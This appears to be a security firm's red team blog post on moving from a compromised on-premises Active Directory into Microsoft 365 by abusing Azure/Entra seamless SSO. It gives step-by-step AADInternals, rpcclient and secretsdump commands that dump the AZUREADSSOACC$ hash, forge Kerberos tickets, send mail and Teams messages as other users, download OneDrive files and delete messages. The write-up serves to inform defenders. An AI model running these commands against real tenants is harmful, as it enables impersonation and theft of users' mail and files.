4 December 2024

Cloudy with a chance of persistence

The pathway of persistence pivoting from on-premises to cloud O365

Imagine waking up to a security breach notification: your on-premises domain has been compromised, and the attacker has now moved to your cloud infrastructure via Azure AD Single Sign-On (SSO). How did this happen? 

In today’s hybrid IT environments, the transition from on-premises domains to cloud-based persistence is a common attack path, particularly exploiting features like Azure AD SSO. Understanding this journey is crucial if you want to better configure the security controls in your Microsoft Azure environment to slow the progress of cyber-attackers and strengthen your security posture. 

This blog post we will trace the attack path we discovered on a recent red team engagement, where we began by exploiting a misconfiguration in Active Directory Certificate Services (on-premises) and moved through several steps to compromise users’ OneDrive accounts, access their Sharepoint files, and take controls of their email, Teams and Skype accounts. 

More specifically, we will show how to leverage Azure AD SSO and how this can be used to maintain persistence. We will explain how weaknesses in Azure SSO can be exploited to enable persistence not only within the client's domain but also in their O365 environment.

Azure / Entra SSO in a nutshell

Microsoft Entra seamless single sign-on (SSO) allows users to automatically sign in to applications using their Active Directory credentials. The setup involves creating a computer account (AZUREADSSOACC$) in Active Directory and setting up Kerberos SPNs. When users access a web application, the browser retrieves a Kerberos ticket from AD and forwards it to Microsoft Entra ID for authentication. The native client sign-in process involves retrieving the user's username, acquiring a Kerberos ticket, and using it to obtain SAML and OAuth2 tokens for application access. 

If an attacker compromises the AZUREADSSOACC$ account, they could potentially forge Kerberos tickets to impersonate users and gain unauthorized access to applications and resources.

The authentication flow

If we look at the following diagram created by Microsoft we can observe the authentication flow when a user requests a resource backed by SSO.  

Fig 1. The authentication flow when a user requests a resource backed by SSO

  1. The user tries to access a web application (for example, the Outlook Web App - https://outlook.office365.com/owa/) from a domain-joined corporate device inside your corporate network.
  2. If the user is not already signed in, the user is redirected to the Microsoft Entra sign-in page.
  3. The user types in their username into the Microsoft Entra sign-in page. (N.b., for certain applications, steps 2 & 3 are skipped.)
  4. Using JavaScript in the background, Microsoft Entra ID challenges the browser, via a 401 Unauthorized response, to provide a Kerberos ticket.
  5. The browser, in turn, requests a ticket from Active Directory for the AZUREADSSOACC computer account (which represents Microsoft Entra ID).
  6. Active Directory locates the computer account and returns a Kerberos ticket to the browser encrypted with the computer account's secret.
  7. The browser forwards the Kerberos ticket it acquired from Active Directory to Microsoft Entra ID.
  8. Microsoft Entra ID decrypts the Kerberos ticket, which includes the identity of the user signed into the corporate device, using the previously shared key.
  9. After evaluation, Microsoft Entra ID either returns a token back to the application or asks the user to perform additional proofs, such as Multi-Factor Authentication.
  10. If the user sign-in is successful, the user can access the application.

Objective: maintain persistence and avoid detection

On a red team engagement within a client's on-premises domain, we successfully exploited a misconfiguration in Active Directory Certificate Services (ADCS), allowing us to dump hashes from the domain controller. The question is: what should we do next? How can we maintain our foothold, ensuring our persistence within the network, and further our objectives without being detected?

Step 1: pivot into Azure / O365

Our first step is to check if Azure Single Sign-On (AzureSSO) is in use. By doing this, we can potentially expand our reach into the client's cloud infrastructure. Here's how:

  1. Validate Azure SSO Usage: We can use the AADInternals tool to gather information about the target's Azure Active Directory (Azure AD) environment. This tool allows us to check if Azure AD Desktop SSO is enabled, without needing special privileges.
  2. Gather Information with AADInternals: Using AADInternals, we can perform various reconnaissance activities, such as enumerating users, groups, and roles within Azure AD. This information is crucial for identifying potential targets and planning further actions.

We will use Invoke-AADIntReconAsOutsider to check if DesktopSSO is enabled in the client’s domain. 

 Fig. 2, showing that DesktopSSO is enabled 

Knowing that Desktop SSO is enabled, we can be highly certain that the AZUREADSSOACC $ computer account will exist on the domain controller. The next step involves dumping the hash of this account to exploit its privileges.

  1. Confirm the Existence of AZUREADSSOACC$ rpcclient -U "" -N -c "enumdomusers"
  2. Once confirmed, the next step is to dump the hash of the AZUREADSSOACC$ computer account. This can be achieved using various tools, such as Mimikatz or impacket-secretsdump. Secretdump.py "/@" -hashes “” -just-dc-user ‘AZUREADSSOACC$’


Fig. 3, showing the credentials for the azureadssoacc computer account 

Great, we know SSO is enabled, and we have the credentials for the azureadssoacc computer account. So, what’s next? Let's craft a Proof of Concept (PoC) to demonstrate how we can abuse this privilege. Our goal is to send an email on behalf of a user whose credentials we do not know, proving our ability to act on behalf of any user by only knowing the hash of azureadssoacc. 

To achieve this, we'll use the AADInternals PowerShell module. Specifically, the Send-AADIntOutlookMessage command allows us to send emails from an account within the Azure AD environment.

  1. Using rpcclient extract the SID of the Target Account 
    rpcclient -U "" -N -c "enumdomusers"
  2. Generate a Kerberos Ticket 
    $kerberos=New-AADIntKerberosTicket -SidString "" -Hash ""
  3. Get an Access Token for Exchange Online: 
    $at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain
  4. Send an Email on Behalf of Another User Via Outlook API: 
    Send-AADIntOutlookMessage -Recipient "" -Subject "" -Message “"

And we wait…  


Fig. 4, sending an email from another user’s account 

What else could we do at this stage with the Exchange token we have just generated?

Step 2: SharePoint Abuse

Next, we must generate a SharePoint online authentication header using the access token we previously generated.

Step 3: OneDrive abuse

Using the following steps, we can download a user’s OneDrive files.

  1. Using rpcclient extract the SID of the Target Account 
    rpcclient -U "" -N -c "enumdomusers"
  2. Generate Kerberos Ticker for user 
    $kt=New-AADIntKerberosTicket -SidString "" -Hash "" # Create a new OneDriveSettings object using Kerberos ticket $os = New-AADIntOneDriveSettings -KerberosTicket $kt
  3. Download all users’ files (OneDrive for business) 
    Get-AADIntOneDriveFiles -OneDriveSettings $os | Format-Table

Step 4: Teams and Skype abuse

Next, we must generate the required tokens for Microsoft Teams and Skype:

  • Using rpcclient extract the SID of the Target Account 
    rpcclient -U "" -N -c "enumdomusers"
  • Generate Kerberos Ticker for user 
    $kt=New-AADIntKerberosTicket -SidString "" -Hash ""
  • Generate access tokens for services 
    $teamsToken = Get-AADIntAccessTokenForTeams -KerberosTicket $kt $skypeToken = Get-AADIntSkypeToken -KerberosTicket $kt
  • Search for a teams user? 
    Search-AADIntTeamsUser -SearchString "user" | Format-Table UserPrincipalName,DisplayName -AccessToken $teamsToken
  • Send a teams message? 
    Send-AADIntTeamsMessage -Recipients "user@company.com" -Message "Hi user!" -AccessToken $teamsToken
  • Get user’s latest Teams messages 
    Get-AADIntTeamsMessages | Format-Table id,content,deletiontime,*type*,DisplayName -AccessToken $teamsToken
  • Deletes a Teams messages. 
    Remove-AADIntTeamsMessages -MessageIDs ,
  • Get teams user is member of 
    Get-AADIntMyTeams -AccessToken $teamsToken
  • Get teams user is owner of Get-AADIntMyTeams -Owner -AccessToken $teamsToken

The threat in the cloud

More often than not, attackers are pivoting cloud environments to on-premises environments. The thinking is that, usually, the data and systems that the attacker has gained a foothold in a poorly-configured cloud environment, while the data they want, or the systems they want to corrupt, are on-premises environments. But with more businesses becoming cloud-native, and more day-to-day business relying on the Microsoft 365 suite, threat actors have the opportunity to cause real damage in the cloud environment. 

However, the in-built security controls in Microsoft Azure, when properly configured, allow you to build defence-in-depth, and prevent attackers from escalating their privileges or compromising data they should not be able to access. Doing so will reduce the likelihood and impact of threat actors achieving their goals and causing significant damage, even if they have gained a foothold on your environment. 

Contact us for more information about our penetration testing services, cloud configuration reviews and managed cloud security.